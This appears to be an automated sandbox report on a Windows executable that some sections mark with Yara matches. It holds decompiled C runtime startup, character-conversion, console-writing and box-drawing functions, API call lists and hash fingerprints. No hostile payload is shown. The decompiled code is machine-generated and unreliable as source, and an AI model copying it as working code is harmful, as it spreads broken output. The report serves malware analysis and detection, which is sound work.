Part of subcall function 00ECBE5F: EnterCriticalSection.KERNEL32(?,?,00ECD668,0000000D,?,?,?,?,00EDDA28,00000008,00ECD601,00000000,00000000,00EC8F04,00ED1E56,00000000), ref: 00ECBE8A

@_EH4_CallFilterFunc@8.LIBCMT ref: 00ECA60E
__calloc_crt.LIBCMT ref: 00ECA627
@_EH4_CallFilterFunc@8.LIBCMT ref: 00ECA642
GetStartupInfoW.KERNEL32(?,00EDD8C0,00000064), ref: 00ECA697
__calloc_crt.LIBCMT ref: 00ECA6E2
GetFileType.KERNEL32(00000001), ref: 00ECA729
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 00ECA762
GetStdHandle.KERNEL32(-000000F6), ref: 00ECA81B
GetFileType.KERNEL32(00000000), ref: 00ECA82D
InitializeCriticalSectionAndSpinCount.KERNEL32(-00EE2F54,00000FA0), ref: 00ECA862

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CallCountFileFilterFunc@8InitializeSpinType__calloc_crt$EnterHandleInfoStartup__lock__mtinitlocknum
String ID:
API String ID: 1456538442-0
Opcode ID: bc0e46f96283b105d0be6ddc9c7d85fae4242980b8f4f9eaaad1fe88579a615b
Instruction ID: cf657a0115e4d03e31fd2eb685d624d26acf91a4744f71acc540090f9112ccaf
Opcode Fuzzy Hash: bc0e46f96283b105d0be6ddc9c7d85fae4242980b8f4f9eaaad1fe88579a615b
Instruction Fuzzy Hash: CE9105719003498FDB14CF68D984AADBBF4FB05328B28526EE466BB2D1C7368807CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC88A7, Relevance: 16.6, APIs: 11, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 91%

			_entry_(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t17;
				void* _t24;
				void* _t25;
				void* _t26;
				signed int _t38;
				void* _t40;
				void* _t46;
				signed int _t49;
				void* _t51;
				void* _t53;
				void* _t60;

				_t60 = __fp0;
				_t47 = __edi;
				_t46 = __edx;
				E00ECFC48();
				_push(0x14);
				_push(0xedd838);
				E00EC9160(__ebx, __edi, __esi);
				_t49 = E00ECC013() & 0x0000ffff;
				E00ECFBFB(2);
				_t53 =  *0xec0000 - 0x5a4d; // 0x5a4d
				if(_t53 == 0) {
					_t17 =  *0xec003c; // 0xf0
					__eflags =  *((intOrPtr*)(_t17 + 0xec0000)) - 0x4550;
					if( *((intOrPtr*)(_t17 + 0xec0000)) != 0x4550) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t17 + 0xec0018)) - 0x10b;
						if( *((intOrPtr*)(_t17 + 0xec0018)) != 0x10b) {
							goto L2;
						} else {
							_t38 = 0;
							__eflags =  *((intOrPtr*)(_t17 + 0xec0074)) - 0xe;
							if( *((intOrPtr*)(_t17 + 0xec0074)) > 0xe) {
								__eflags =  *(_t17 + 0xec00e8);
								_t6 =  *(_t17 + 0xec00e8) != 0;
								__eflags = _t6;
								_t38 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t38 = 0;
				}
				 *(_t51 - 0x1c) = _t38;
				if(E00ECD058() == 0) {
					E00EC89F5(0x1c);
				}
				if(E00ECD6D2(_t38, _t47) == 0) {
					_t19 = E00EC89F5(0x10);
				}
				E00ECBE1F(_t19);
				 *(_t51 - 4) =  *(_t51 - 4) & 0x00000000;
				E00ECA5C3();
				 *0xee4080 = GetCommandLineA();
				 *0xee2284 = E00ECFCE2();
				_t24 = E00ECF8ED();
				_t56 = _t24;
				if(_t24 < 0) {
					E00EC751F(_t38, _t46, _t47, _t49, _t56, 8);
				}
				_t25 = E00ECFB1A(_t38, _t46, _t47, _t49);
				_t57 = _t25;
				if(_t25 < 0) {
					E00EC751F(_t38, _t46, _t47, _t49, _t57, 9);
				}
				_t26 = E00EC7559(_t47, _t49, 1);
				_pop(_t40);
				_t58 = _t26;
				if(_t26 != 0) {
					E00EC751F(_t38, _t46, _t47, _t49, _t58, _t26);
					_pop(_t40);
				}
				_t50 = E00EC1040(_t40, _t47, _t49, _t58, _t60, 0xec0000, 0, E00ECFD6D(), _t49);
				 *((intOrPtr*)(_t51 - 0x24)) = _t28;
				if(_t38 == 0) {
					E00EC77B1(_t50);
				}
				E00EC754A();
				 *(_t51 - 4) = 0xfffffffe;
				return E00EC91A5(_t50);
			}

0x00ec88a7
0x00ec88a7
0x00ec88a7
0x00ec88a7
0x00ec88b1
0x00ec88b3
0x00ec88b8
0x00ec88c2
0x00ec88c7
0x00ec88d2
0x00ec88d9
0x00ec88df
0x00ec88e4
0x00ec88ee
0x00000000
0x00ec88f0
0x00ec88f5
0x00ec88fc
0x00000000
0x00ec88fe
0x00ec88fe
0x00ec8900
0x00ec8907
0x00ec8909
0x00ec890f
0x00ec890f
0x00ec890f
0x00ec890f
0x00ec8907
0x00ec88fc
0x00ec88db
0x00ec88db
0x00ec88db
0x00ec88db
0x00ec8912
0x00ec891c
0x00ec8920
0x00ec8925
0x00ec892d
0x00ec8931
0x00ec8936
0x00ec8937
0x00ec893c
0x00ec8940
0x00ec894b
0x00ec8955
0x00ec895a
0x00ec895f
0x00ec8961
0x00ec8965
0x00ec896a
0x00ec896b
0x00ec8970
0x00ec8972
0x00ec8976
0x00ec897b
0x00ec897e
0x00ec8983
0x00ec8984
0x00ec8986
0x00ec8989
0x00ec898e
0x00ec898e
0x00ec89a2
0x00ec89a4
0x00ec89a9
0x00ec89ac
0x00ec89ac
0x00ec89b1
0x00ec89e6
0x00ec89f4

APIs

___security_init_cookie.LIBCMT ref: 00EC88A7

Part of subcall function 00ECC013: GetStartupInfoW.KERNEL32(?), ref: 00ECC01D

_fast_error_exit.LIBCMT ref: 00EC8920
_fast_error_exit.LIBCMT ref: 00EC8931
__RTC_Initialize.LIBCMT ref: 00EC8937
__ioinit0.LIBCMT ref: 00EC8940
GetCommandLineA.KERNEL32(00EDD838,00000014), ref: 00EC8945
___crtGetEnvironmentStringsA.LIBCMT ref: 00EC8950
__setargv.LIBCMT ref: 00EC895A
__setenvp.LIBCMT ref: 00EC896B
__cinit.LIBCMT ref: 00EC897E
__wincmdln.LIBCMT ref: 00EC898F

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _fast_error_exit$CommandEnvironmentInfoInitializeLineStartupStrings___crt___security_init_cookie__cinit__ioinit0__setargv__setenvp__wincmdln
String ID:
API String ID: 1504447550-0
Opcode ID: b260ec8d55def1780fac85096475b42d2e7d45730b2e2eadd1ddca20412496da
Instruction ID: bf9d21e81082bd220036f899b8f118e2a4d9cccdf73f92505068c166adaf78d6
Opcode Fuzzy Hash: b260ec8d55def1780fac85096475b42d2e7d45730b2e2eadd1ddca20412496da
Instruction Fuzzy Hash: 8D21F431A043059AEB247BB49B47F7D22E4AF40709F20342EF648BA0C3DFB789439652

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8E23, Relevance: 13.6, APIs: 9, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC8E23(void* __eflags, signed int _a4) {
				void* _t12;
				signed int _t13;
				signed int _t16;
				intOrPtr _t18;
				void* _t22;
				signed int _t35;
				long _t40;

				_t13 = E00ECA5A7(_t12);
				if(_t13 >= 0) {
					_t35 = _a4;
					if(E00ED0132(_t35) == 0xffffffff) {
						L10:
						_t40 = 0;
					} else {
						_t18 =  *0xee2f60; // 0x0
						if(_t35 != 1 || ( *(_t18 + 0x84) & 0x00000001) == 0) {
							if(_t35 != 2 || ( *(_t18 + 0x44) & 0x00000001) == 0) {
								goto L8;
							} else {
								goto L7;
							}
						} else {
							L7:
							_t22 = E00ED0132(2);
							if(E00ED0132(1) == _t22) {
								goto L10;
							} else {
								L8:
								if(CloseHandle(E00ED0132(_t35)) != 0) {
									goto L10;
								} else {
									_t40 = GetLastError();
								}
							}
						}
					}
					E00ED00AC(_t35);
					 *((char*)( *((intOrPtr*)(0xee2f60 + (_t35 >> 5) * 4)) + ((_t35 & 0x0000001f) << 6) + 4)) = 0;
					if(_t40 == 0) {
						_t16 = 0;
					} else {
						_t16 = E00EC8EDE(_t40) | 0xffffffff;
					}
					return _t16;
				} else {
					return _t13 | 0xffffffff;
				}
			}

APIs

__ioinit.LIBCMT ref: 00EC8E26

Part of subcall function 00ECA5A7: InitOnceExecuteOnce.KERNEL32(00EE229C,00ECA5E2,00000000,00000000,00ED1205,?,?,00EC9886,00000000,?,?,?,00EC71AD,-00000020,00EDD7B8,0000000C), ref: 00ECA5B5

__get_osfhandle.LIBCMT ref: 00EC8E3A
__get_osfhandle.LIBCMT ref: 00EC8E65
__get_osfhandle.LIBCMT ref: 00EC8E6E
__get_osfhandle.LIBCMT ref: 00EC8E7A
CloseHandle.KERNEL32(00000000,00EC2656,00000000,?,00ED41AB,00EC2656,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00EC8E81
GetLastError.KERNEL32(?,00ED41AB,00EC2656,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00EC8E8B
__free_osfhnd.LIBCMT ref: 00EC8E98
__dosmaperr.LIBCMT ref: 00EC8EBA

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: __get_osfhandle$Once$CloseErrorExecuteHandleInitLast__dosmaperr__free_osfhnd__ioinit
String ID:
API String ID: 974577687-0
Opcode ID: f2d62804644cdf75cf3b7aa16c0ee055cc50f5e3119979dce4fbb68d2ff9e849
Instruction ID: 7fd597e174a090a04a39404faefbf69692b4639f8d38af7ac06ba217a6c47568
Opcode Fuzzy Hash: f2d62804644cdf75cf3b7aa16c0ee055cc50f5e3119979dce4fbb68d2ff9e849
Instruction Fuzzy Hash: 2B1125326022641DD2242639AF49FBF77899F41738F29220EF918BB2C2DE669847C190

Uniqueness

Uniqueness Score: -1.00%

Function 004078CF, Relevance: 12.2, APIs: 8, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E004078CF(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t56;
				signed int _t58;
				short* _t60;
				signed int _t64;
				short* _t68;
				int _t76;
				short* _t79;
				signed int _t85;
				signed int _t88;
				void* _t93;
				void* _t94;
				int _t96;
				short* _t99;
				int _t101;
				int _t103;
				signed int _t104;
				short* _t105;
				void* _t108;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x412014; // 0x71686280
				_v8 = _t49 ^ _t104;
				_t101 = _a20;
				if(_t101 > 0) {
					_t76 = E004080D8(_a16, _t101);
					_t108 = _t76 - _t101;
					_t4 = _t76 + 1; // 0x1
					_t101 = _t4;
					if(_t108 >= 0) {
						_t101 = _t76;
					}
				}
				_t96 = _a32;
				if(_t96 == 0) {
					_t96 =  *( *_a4 + 8);
					_a32 = _t96;
				}
				_t54 = MultiByteToWideChar(_t96, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t101, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					E004018CC();
					return _t54;
				} else {
					_t93 = _t54 + _t54;
					_t83 = _t93 + 8;
					asm("sbb eax, eax");
					if((_t93 + 0x00000008 & _t54) == 0) {
						_t79 = 0;
						__eflags = 0;
						L14:
						if(_t79 == 0) {
							L36:
							_t103 = 0;
							L37:
							E004063D5(_t79);
							_t54 = _t103;
							goto L38;
						}
						_t56 = MultiByteToWideChar(_t96, 1, _a16, _t101, _t79, _v12);
						_t119 = _t56;
						if(_t56 == 0) {
							goto L36;
						}
						_t98 = _v12;
						_t58 = E00405989(_t83, _t119, _a8, _a12, _t79, _v12, 0, 0, 0, 0, 0);
						_t103 = _t58;
						if(_t103 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t94 = _t103 + _t103;
							_t85 = _t94 + 8;
							__eflags = _t94 - _t85;
							asm("sbb eax, eax");
							__eflags = _t85 & _t58;
							if((_t85 & _t58) == 0) {
								_t99 = 0;
								__eflags = 0;
								L30:
								__eflags = _t99;
								if(__eflags == 0) {
									L35:
									E004063D5(_t99);
									goto L36;
								}
								_t60 = E00405989(_t85, __eflags, _a8, _a12, _t79, _v12, _t99, _t103, 0, 0, 0);
								__eflags = _t60;
								if(_t60 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t103 = WideCharToMultiByte(_a32, 0, _t99, _t103, ??, ??, ??, ??);
								__eflags = _t103;
								if(_t103 != 0) {
									E004063D5(_t99);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t88 = _t94 + 8;
							__eflags = _t94 - _t88;
							asm("sbb eax, eax");
							_t64 = _t58 & _t88;
							_t85 = _t94 + 8;
							__eflags = _t64 - 0x400;
							if(_t64 > 0x400) {
								__eflags = _t94 - _t85;
								asm("sbb eax, eax");
								_t99 = E00403E3D(_t85, _t64 & _t85);
								_pop(_t85);
								__eflags = _t99;
								if(_t99 == 0) {
									goto L35;
								}
								 *_t99 = 0xdddd;
								L28:
								_t99 =  &(_t99[4]);
								goto L30;
							}
							__eflags = _t94 - _t85;
							asm("sbb eax, eax");
							E004018E0();
							_t99 = _t105;
							__eflags = _t99;
							if(_t99 == 0) {
								goto L35;
							}
							 *_t99 = 0xcccc;
							goto L28;
						}
						_t68 = _a28;
						if(_t68 == 0) {
							goto L37;
						}
						_t123 = _t103 - _t68;
						if(_t103 > _t68) {
							goto L36;
						}
						_t103 = E00405989(0, _t123, _a8, _a12, _t79, _t98, _a24, _t68, 0, 0, 0);
						if(_t103 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t70 = _t54 & _t93 + 0x00000008;
					_t83 = _t93 + 8;
					if((_t54 & _t93 + 0x00000008) > 0x400) {
						__eflags = _t93 - _t83;
						asm("sbb eax, eax");
						_t79 = E00403E3D(_t83, _t70 & _t83);
						_pop(_t83);
						__eflags = _t79;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t79 = 0xdddd;
						L12:
						_t79 =  &(_t79[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E004018E0();
					_t79 = _t105;
					if(_t79 == 0) {
						goto L36;
					}
					 *_t79 = 0xcccc;
					goto L12;
				}
			}

0x004078d4
0x004078d5
0x004078d6
0x004078dd
0x004078e2
0x004078e8
0x004078ee
0x004078f4
0x004078f7
0x004078f7
0x004078fa
0x004078fc
0x004078fc
0x004078fa
0x004078fe
0x00407903
0x0040790a
0x0040790d
0x0040790d
0x00407929
0x0040792f
0x00407934
0x00407ac7
0x00407ad2
0x00407ada
0x0040793a
0x0040793a
0x0040793d
0x00407942
0x00407946
0x0040799a
0x0040799a
0x0040799c
0x0040799e
0x00407abc
0x00407abc
0x00407abe
0x00407abf
0x00407ac5
0x00000000
0x00407ac5
0x004079af
0x004079b5
0x004079b7
0x00000000
0x00000000
0x004079bd
0x004079cf
0x004079d4
0x004079d8
0x00000000
0x00000000
0x004079e5
0x00407a1f
0x00407a22
0x00407a25
0x00407a27
0x00407a29
0x00407a2b
0x00407a77
0x00407a77
0x00407a79
0x00407a79
0x00407a7b
0x00407ab5
0x00407ab6
0x00000000
0x00407abb
0x00407a8f
0x00407a94
0x00407a96
0x00000000
0x00000000
0x00407a9a
0x00407a9b
0x00407a9c
0x00407a9f
0x00407adb
0x00407ade
0x00407aa1
0x00407aa1
0x00407aa2
0x00407aa2
0x00407aaf
0x00407ab1
0x00407ab3
0x00407ae4
0x00000000
0x00000000
0x00000000
0x00000000
0x00407ab3
0x00407a2d
0x00407a30
0x00407a32
0x00407a34
0x00407a36
0x00407a39
0x00407a3e
0x00407a59
0x00407a5b
0x00407a65
0x00407a67
0x00407a68
0x00407a6a
0x00000000
0x00000000
0x00407a6c
0x00407a72
0x00407a72
0x00000000
0x00407a72
0x00407a40
0x00407a42
0x00407a46
0x00407a4b
0x00407a4d
0x00407a4f
0x00000000
0x00000000
0x00407a51
0x00000000
0x00407a51
0x004079e7
0x004079ec
0x00000000
0x00000000
0x004079f2
0x004079f4
0x00000000
0x00000000
0x00407a10
0x00407a14
0x00000000
0x00000000
0x00000000
0x00407a1a
0x0040794d
0x0040794f
0x00407951
0x00407959
0x00407978
0x0040797a
0x00407984
0x00407986
0x00407987
0x00407989
0x00000000
0x00000000
0x0040798f
0x00407995
0x00407995
0x00000000
0x00407995
0x0040795d
0x00407961
0x00407966
0x0040796a
0x00000000
0x00000000
0x00407970
0x00000000
0x00407970

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,00407B20,?,?,00000000), ref: 00407929
__alloca_probe_16.LIBCMT ref: 00407961
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,00407B20,?,?,00000000,?,?,?), ref: 004079AF
__alloca_probe_16.LIBCMT ref: 00407A46
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00407AA9
__freea.LIBCMT ref: 00407AB6

Part of subcall function 00403E3D: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,00407C67,?,00000000,?,004067DA,?,00000004,?,?,?,?,00403B03), ref: 00403E6F

__freea.LIBCMT ref: 00407ABF
__freea.LIBCMT ref: 00407AE4

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: dda1088f7075954fbe6023d44dc497f251e567ba65003bd3d831429d24d78928
Instruction ID: 2b56c59f559f8582b2a4feb05c221e86bbfe0f9b068744966d06d01a738823cf
Opcode Fuzzy Hash: dda1088f7075954fbe6023d44dc497f251e567ba65003bd3d831429d24d78928
Instruction Fuzzy Hash: 8051D572B04216ABDB259F64CC41EAF77A9DB40760B15463EFC04F62C1DB38ED50CAA9

Uniqueness

Uniqueness Score: -1.00%

Function 00EC3AB0, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 203COMMON

Download Yara Rule

APIs

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_swscanf.LIBCMT ref: 00EC3B48

Part of subcall function 00EC7021: _vfscanf.LIBCMT ref: 00EC7035

_fprintf.LIBCMT ref: 00EC3DA6

Strings

%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f, xrefs: 00EC3D9A
%s %s %s %s %s %s %c %s %c %f %f %f, xrefs: 00EC3B3D
TEMP.DAT, xrefs: 00EC3AE2
ACCOUNT.DAT, xrefs: 00EC3ABE

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: __fsopen_fprintf_swscanf_vfscanf
String ID: %s %s %s %s %s %s %c %s %c %.2f %.2f %.2f$%s %s %s %s %s %s %c %s %c %f %f %f$ACCOUNT.DAT$TEMP.DAT
API String ID: 1563022539-2055742014
Opcode ID: b978ec320637335ae6856b9be3e4167bf67326e24bb24565557b1adedc1e933a
Instruction ID: 08fe7173428a1b65cefc973542725ca83ae5bb9d8c79c1595196651e70963be8
Opcode Fuzzy Hash: b978ec320637335ae6856b9be3e4167bf67326e24bb24565557b1adedc1e933a
Instruction Fuzzy Hash: F591F472D1054D9ECB09CFB8D991BEEFBB9FB49300F04826EE1067A191EA745685CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00408223, Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00408223(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				void* __ebx;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t93;
				long _t96;
				void _t104;
				void* _t111;
				signed int _t115;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t136;
				signed int _t138;
				void* _t139;

				_t78 =  *0x412014; // 0x71686280
				_v8 = _t78 ^ _t138;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t115 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x4130a0 + _t118 * 4)) + _t115 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t136 = _a4;
				_v60 = _t86;
				 *_t136 = 0;
				 *((intOrPtr*)(_t136 + 4)) = 0;
				 *((intOrPtr*)(_t136 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x4130a0 + _v48 * 4));
					_t123 =  *(_t129 + _t115 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E00405FC6(_t115, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x4130a0 + _t131 * 4)) + _t115 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x4130a0 + _t131 * 4)) + _t115 + 0x2d) =  *( *((intOrPtr*)(0x4130a0 + _t131 * 4)) + _t115 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t136 + 4)) =  *((intOrPtr*)(_t136 + 4)) + 1;
							} else {
								_t111 = E00407222( &_v28, _t133, 2);
								_t139 = _t139 + 0xc;
								if(_t111 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t115 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t115 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t93 = E00407222();
						_t139 = _t139 + 0xc;
						if(_t93 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t96 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t96;
							if(_t96 != 0) {
								if(WriteFile(_v44,  &_v24, _t96,  &_v36, 0) == 0) {
									L19:
									 *_t136 = GetLastError();
								} else {
									 *((intOrPtr*)(_t136 + 4)) =  *((intOrPtr*)(_t136 + 8)) - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t104 = 0xd;
											_v32 = _t104;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t136 + 8)) =  *((intOrPtr*)(_t136 + 8)) + 1;
													 *((intOrPtr*)(_t136 + 4)) =  *((intOrPtr*)(_t136 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				E004018CC();
				return _t136;
			}

0x0040822b
0x00408232
0x00408235
0x0040823d
0x00408241
0x0040824d
0x00408250
0x00408253
0x0040825a
0x00408262
0x00408265
0x0040826b
0x00408271
0x00408276
0x00408278
0x0040827b
0x00408280
0x0040828a
0x00408291
0x00408294
0x0040829b
0x004082a2
0x004082ce
0x004082f4
0x004082f6
0x00000000
0x004082d0
0x004082d3
0x0040839a
0x004083a6
0x004083b1
0x004083b6
0x004082d9
0x004082e0
0x004082e5
0x004082eb
0x004082f1
0x00000000
0x004082f1
0x004082eb
0x004082d3
0x004082a4
0x004082a8
0x004082ab
0x004082b1
0x004082b3
0x004082b6
0x004082ba
0x004082f7
0x004082fa
0x004082fb
0x00408300
0x00408306
0x0040830c
0x0040831b
0x00408321
0x00408327
0x0040832c
0x00408348
0x004083bb
0x004083c1
0x0040834a
0x00408352
0x0040835b
0x00408361
0x00000000
0x00408363
0x00408365
0x00408368
0x00408381
0x00000000
0x00408383
0x00408387
0x00408389
0x0040838c
0x00000000
0x0040838c
0x00408387
0x00408381
0x00408361
0x0040835b
0x00408348
0x0040832c
0x00408306
0x00000000
0x0040838f
0x0040838f
0x004083c3
0x004083cd
0x004083d5

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00408998,?,00000000,?,00000000,00000000), ref: 00408265
__fassign.LIBCMT ref: 004082E0
__fassign.LIBCMT ref: 004082FB
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00408321
WriteFile.KERNEL32(?,?,00000000,00408998,00000000,?,?,?,?,?,?,?,?,?,00408998,?), ref: 00408340
WriteFile.KERNEL32(?,?,00000001,00408998,00000000,?,?,?,?,?,?,?,?,?,00408998,?), ref: 00408379

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 6526cd7982371344a6a1e48cd2b7cf140f34c910ae76ba14c8618a3c70808cc2
Instruction ID: d35ea3bc0149cbeaf608d2e35f82b202305ea3b4574a465905668c698b2cd014
Opcode Fuzzy Hash: 6526cd7982371344a6a1e48cd2b7cf140f34c910ae76ba14c8618a3c70808cc2
Instruction Fuzzy Hash: 2751C070900209EFCB10CFA8D985AEEBBF4EF49300F14816EE995F3391DA349941CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1380, Relevance: 10.6, APIs: 7, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00EC1380(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebp;
				intOrPtr _t61;
				intOrPtr _t67;
				void* _t75;
				intOrPtr _t87;
				void* _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t102 = __esi;
				_t101 = __edi;
				E00EC12B0(_a4, _a8);
				_push(0xc9);
				_push("%c");
				E00EC715C(_t75, __edi, __esi, __eflags);
				_t104 = _t103 + 8;
				_v8 = _a4 + 1;
				while(1) {
					_t109 = _v8 - _a12 - 1;
					if(_v8 >= _a12 - 1) {
						break;
					}
					E00EC12B0(_v8, _a8);
					_push(0xcd);
					_push("%c");
					E00EC715C(_t75, _t101, _t102, _t109);
					_t104 = _t104 + 8;
					_v8 = _v8 + 1;
				}
				E00EC12B0(_v8, _a8);
				_push(0xbb);
				_push("%c");
				E00EC715C(_t75, _t101, _t102, __eflags);
				_t105 = _t104 + 8;
				_v12 = _a8 + 1;
				while(1) {
					__eflags = _v12 - _a16;
					if(__eflags >= 0) {
						break;
					}
					E00EC12B0(_a4, _v12);
					_v8 = _a4;
					while(1) {
						__eflags = _v8 - _a12;
						if(_v8 >= _a12) {
							break;
						}
						__eflags = _v8 - _a4;
						if(__eflags == 0) {
							L12:
							E00EC12B0(_v8, _v12);
							_push(0xba);
							_push("%c");
							E00EC715C(_t75, _t101, _t102, __eflags);
							_t105 = _t105 + 8;
						} else {
							__eflags = _v8 - _a12 - 1;
							if(__eflags == 0) {
								goto L12;
							}
						}
						_t67 = _v8 + 1;
						__eflags = _t67;
						_v8 = _t67;
					}
					_t87 = _v12 + 1;
					__eflags = _t87;
					_v12 = _t87;
				}
				E00EC12B0(_a4, _v12);
				_push(0xc8);
				_push("%c");
